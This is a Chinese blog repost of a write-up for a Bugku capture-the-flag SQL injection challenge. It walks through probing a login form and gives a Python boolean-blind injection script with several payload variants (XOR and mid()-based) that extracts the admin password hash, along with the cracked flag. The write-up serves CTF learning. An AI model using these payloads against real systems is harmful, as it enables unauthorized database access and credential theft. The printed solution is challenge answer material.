我是靠谱客的博主 拼搏小虾米,最近开发中收集的这篇文章主要介绍bugku--SQL注入((利用脚本)),觉得挺不错的,现在分享给大家,希望可以做个参考。

概述

bugku–SQL注入(利用脚本)

题目地址:SQL注入

解题思路:

  1. 照常用admin登录,随便一个密码,显示 password error

在这里插入图片描述

然后修改用户名,显示username does not exist! 再加上题目提示基于布尔的SQL盲注,猜测后端是判断username是否存在,这里可能就会有注入点。

在这里插入图片描述

可以推测用户名就是admin

  1. 尝试万能密码,输入username为 admin’ or 1=1 #

在这里插入图片描述

出现illegal character,说明 or 被过滤,所以万能密码也不可行

  1. 直接上脚本,如下所示

    参考:SQL注入WP

    # 布尔盲注不仅仅是在密码正确和密码错误两种情况下,比如你输入账户,可能出现“账户不存在”和“存在”两种情况,这也是布尔。
    import requests
    import string, hashlib
    url = 'http://114.67.175.224:12315/index.php'
    sss = string.digits + (string.ascii_lowercase)
    a = ''
    for i in range(1, 50):
    flag = 0
    for j in sss:
    payload = "admin'^((ascii(mid((select(password)from(admin))from(%s))))<>%s)^1#" % (i, ord(j))
    # 屏蔽了",",改用mid()函数,from表示起始位置
    # ascii()当传入一个字符串时取出第一个字母的ascii(),相当于mid()的第二参数,for取出,也相当于limit
    # <>表示不等号
    # ^表示异或
    payload2 = "admin123'or((ascii(mid((select(password)from(admin))from(%s))))<>%s)#" % (i, ord(j))
    # 由于没有屏蔽or,所以也可以用这个,可以形成一组布尔
    payload3 = "admin123'or((ascii(mid((select(database()))from(%s))))<>%s)#" % (i, ord(j))
    data = {'username': payload, 'password': 'admin'}
    res = requests.post(url, data=data).text
    if 'username does not exist!' in res:
    a += j
    flag = 1
    print(a)
    break
    if flag == 0:
    break
    print(a)
    

在这里插入图片描述

得到MD5:4dcc88f8f1bc05e7c2ad1a60288481a2
经过解码后得到:bugkuctf

最后

以上就是拼搏小虾米为你收集整理的bugku--SQL注入((利用脚本))的全部内容,希望文章能够帮你解决bugku--SQL注入((利用脚本))所遇到的程序开发问题。

如果觉得靠谱客网站的内容还不错,欢迎将靠谱客网站推荐给程序员好友。

本图文内容来源于网友提供,作为学习参考使用,或来自网络收集整理,版权属于原作者所有。
点赞(59)

评论列表共有 0 条评论

立即
投稿
返回
顶部